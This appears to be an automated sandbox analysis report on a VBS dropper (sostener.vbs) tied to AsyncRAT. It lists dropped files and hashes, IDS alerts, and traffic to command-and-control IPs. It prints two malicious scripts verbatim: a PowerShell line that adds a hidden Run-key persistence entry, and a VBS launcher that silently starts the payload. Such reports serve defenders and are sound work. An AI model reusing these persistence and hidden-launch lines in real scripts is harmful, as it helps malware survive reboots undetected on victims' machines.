SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_thyeeobq.1ri.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_truocqss.14s.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ueydlm2q.uhj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ugxikbss.1gb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vjxyygpg.fgu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vnkcyaen.xvu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w5fxna2x.mwk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wgviac5o.fkp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wjzh5kp1.kcu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wrh3avho.qeb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ywbyvfk1.pjc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yzolk1su.w40.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zwi53y04.vgu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\sostener.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	449312
Entropy (8bit):	3.3389756633800385
Encrypted:	false
SSDEEP:	96:OffffUffffUfffflDXc7lYm8ky0xbFi1msE4VIAGYALFCN8V0bf:s7OlYm8kyIhi1msJVIAGYAZCN8qf
MD5:	7038E85F1E6E6405981B64FF58358482
SHA1:	9DF67362F01D7A33A02A708FA6DA1C3A1214FC51
SHA-256:	A1A8E23D2F66E05DA76366469A1A344973FB1D775A943656DE0F90BF0306E447
SHA-512:	E9BC9B726B17F8F513D36054647537D6E494BFB0087306CA52CA0F1F95785AFA705EDE98BAAF71F19FEAD408F434A061A34AC6F0C457B0B77BDC51F93005C676
Malicious:	true
Preview:	......'.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.....'.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.........'.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.....'.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.........'.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.....'.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.........'.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.

C:\Users\user\AppData\Local\Temp\sostener.vbs:Zone.Identifier

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\xx1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	5.0880789460298
Encrypted:	false
SSDEEP:	6:9HUomDuwZH1j0IQHMCsny1xsAu923fTflIcNBeR7n:9HUBVVj0YCsngzrbflIc3O7n
MD5:	B930483752D2B2AB88D34B9E04D675FC
SHA1:	30291A268B809A72129DE87E657C174B39EE535C
SHA-256:	DFAC04BE62652232A6F198861BC5BDFAE6C480BDECF5185F79D0025041D5EB56
SHA-512:	7EF86AD66591CBBAEC97F8CC18711EE018BD40B44BE15CF85A4BA9DC9EC30FCD9088F78C9D0D90068BCFB4205330D33ADA1D782FE49CB05A71F3BB71A5A8356D
Malicious:	true
Preview:	$teste = New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "_______________________-------------" -Value "Powershell.exe -WindowStyle hidden ""& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' """ -PropertyType "String" -force; {$teste}

C:\Users\user\AppData\Local\Temp\xx2.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.073224268535385
Encrypted:	false
SSDEEP:	3:jJi0m81GX0HsoduSJJFIf9IMwblAUR1ftLCIAuUkh4E2J5xAIUuYLWoj5gWA:jJididMon81x87RBN3Au923f18jCWA
MD5:	B785CCDCDCE533FEF7D4CC4BC4FEC5B6
SHA1:	3F3DD11A370FB4844C345E404F77659BFFB462B9
SHA-256:	5F14B02C5F192C902ACF15460319F5234C0E6E4FA31556CDCDA11F6512AA9EE5
SHA-512:	CD8F9EEDCB5A0D532BE3254E9BD2ADE89A9F8FFA94B4059935032B579ABFBB99344123C2C390F14F5F4A742B902E14D986E475E1C9C42B9E8A20A0F82B76B8D3
Malicious:	true
Preview:	Set KaHuc = CreateObject("Wscript.shell")..KaHuc.run "powershell -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'" ,0, false

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.711709127807206
Encrypted:	false
SSDEEP:	96:/neCFod6kvhkvCCtFw2J7RzHnd2J7ROHn+:/nr62e2JT2Jj
MD5:	2283000431D25CAF6E4784922B9B717C
SHA1:	FC8EDB911FD64BA9A2AEFD1973247ABA3EB7795B
SHA-256:	8D7F6EA7F703CB62913D6E02EEAA3AC5783CF52D74AB080FCD857729C8EEE194
SHA-512:	D4EE15A2655656AB26D951A36BDD68545A054A341DF5F2ECCEFD402C94A7A3B6E80775993A51FA47627C58B44C10FD169801B3EB3E97D7B6AE5F1E1259F3706B
Malicious:	false
Preview:	...................................FL..................F.".. ...d.............z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M........................t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl:Y.G....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....:Y.G..Roaming.@......DWSl:Y.G....C.......................`.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl:Y.G....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl:Y.G....E.....................f...W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl:Y.G....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl:Y.G....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl:Y'G....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF531d86.TMP (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.711709127807206
Encrypted:	false
SSDEEP:	96:/neCFod6kvhkvCCtFw2J7RzHnd2J7ROHn+:/nr62e2JT2Jj
MD5:	2283000431D25CAF6E4784922B9B717C
SHA1:	FC8EDB911FD64BA9A2AEFD1973247ABA3EB7795B
SHA-256:	8D7F6EA7F703CB62913D6E02EEAA3AC5783CF52D74AB080FCD857729C8EEE194
SHA-512:	D4EE15A2655656AB26D951A36BDD68545A054A341DF5F2ECCEFD402C94A7A3B6E80775993A51FA47627C58B44C10FD169801B3EB3E97D7B6AE5F1E1259F3706B
Malicious:	false
Preview:	...................................FL..................F.".. ...d.............z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M........................t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl:Y.G....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....:Y.G..Roaming.@......DWSl:Y.G....C.......................`.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl:Y.G....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl:Y.G....E.....................f...W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl:Y.G....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl:Y.G....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl:Y'G....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\69J885WP1OM0LA5W25JP.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.711709127807206
Encrypted:	false
SSDEEP:	96:/neCFod6kvhkvCCtFw2J7RzHnd2J7ROHn+:/nr62e2JT2Jj
MD5:	2283000431D25CAF6E4784922B9B717C
SHA1:	FC8EDB911FD64BA9A2AEFD1973247ABA3EB7795B
SHA-256:	8D7F6EA7F703CB62913D6E02EEAA3AC5783CF52D74AB080FCD857729C8EEE194
SHA-512:	D4EE15A2655656AB26D951A36BDD68545A054A341DF5F2ECCEFD402C94A7A3B6E80775993A51FA47627C58B44C10FD169801B3EB3E97D7B6AE5F1E1259F3706B
Malicious:	false
Preview:	...................................FL..................F.".. ...d.............z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M........................t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl:Y.G....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....:Y.G..Roaming.@......DWSl:Y.G....C.......................`.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl:Y.G....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl:Y.G....E.....................f...W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl:Y.G....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl:Y.G....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl:Y'G....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XAI9Z88LCZRVKT6W09JW.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7131081207491543
Encrypted:	false
SSDEEP:	96:PneCFOd6kvhkvCCtFw2J7ROHnd2J7ROHn+:Pnrk2e2Ja2Jj
MD5:	547D0BA89D94C7BD3B259CD75AC3DBC3
SHA1:	B208600C9B3516D0A29DFB1805266AD40BFD9AAC
SHA-256:	8F2E98FBB8E0FAD0DA653A852A72D71A0119A61A6948027E3112B1A47888E3F4
SHA-512:	3CD2F0F8805EB43AC487D8AF15BB60DC820C507DA237D5A987DA04F92A902B73879B0C94100349853D46325023E9235D709EE51164C23962CCFD57EBC0B8BFC3
Malicious:	false
Preview:	...................................FL..................F.".. ...d.............z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.............V"..........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl:Y.G....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....:Y.G..Roaming.@......DWSl:Y.G....C.......................`.R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl:Y.G....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl:Y.G....E.....................f...W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl:Y.G....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl:Y.G....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSl:Y(G....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl:Y'G....q...........

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.3389756633800385
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	sostener.vbs
File size:	449'312 bytes
MD5:	7038e85f1e6e6405981b64ff58358482
SHA1:	9df67362f01d7a33a02a708fa6da1c3a1214fc51
SHA256:	a1a8e23d2f66e05da76366469a1a344973fb1d775a943656de0f90bf0306e447
SHA512:	e9bc9b726b17f8f513d36054647537d6e494bfb0087306ca52ca0f1f95785afa705ede98baaf71f19fead408f434a061a34ac6f0c457b0b77bdc51f93005c676
SSDEEP:	96:OffffUffffUfffflDXc7lYm8ky0xbFi1msE4VIAGYALFCN8V0bf:s7OlYm8kyIhi1msJVIAGYAZCN8qf
TLSH:	78A4123D9B42848C95B230478EAA16ACC99213783F8E7FA9836142D4647F739DF5CDE1
File Content Preview:	......'.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.....'.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C.K.../.R.G.,.E.T.R.A.S.0.A.R.A...I.C

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T10:57:02.264440+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49705	15.235.85.194	443	TCP
2024-09-26T10:57:03.426012+0200	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	1	91.202.233.169	80	192.168.2.5	49706	TCP
2024-09-26T10:57:16.679373+0200	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	45.135.232.38	35650	192.168.2.5	49710	TCP
2024-09-26T10:57:16.679373+0200	2034847	ET MALWARE Observed Malicious SSL Cert (AsyncRAT)	1	45.135.232.38	35650	192.168.2.5	49710	TCP
2024-09-26T10:57:16.679373+0200	2848048	ETPRO MALWARE Observed Malicious SSL Cert (AsyncRAT)	1	45.135.232.38	35650	192.168.2.5	49710	TCP
2024-09-26T10:57:23.713260+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49717	15.235.85.194	443	TCP
2024-09-26T10:57:24.904005+0200	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	1	91.202.233.169	80	192.168.2.5	49718	TCP
2024-09-26T10:58:04.651724+0200	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	1	91.202.233.169	80	192.168.2.5	49721	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 10:57:00.832081079 CEST	49704	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:00.832120895 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:00.832196951 CEST	49704	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:00.841447115 CEST	49704	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:00.841470003 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.346885920 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.346986055 CEST	49704	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:01.350306034 CEST	49704	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:01.350315094 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.351300001 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.361728907 CEST	49704	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:01.407407045 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.479876995 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.480014086 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.480022907 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.480082035 CEST	49704	443	192.168.2.5	15.235.85.194
Sep 26, 2024 10:57:01.480098009 CEST	443	49704	15.235.85.194	192.168.2.5
Sep 26, 2024 10:57:01.480142117 CEST	443	49704	15.235.85.194	192.168.2.5
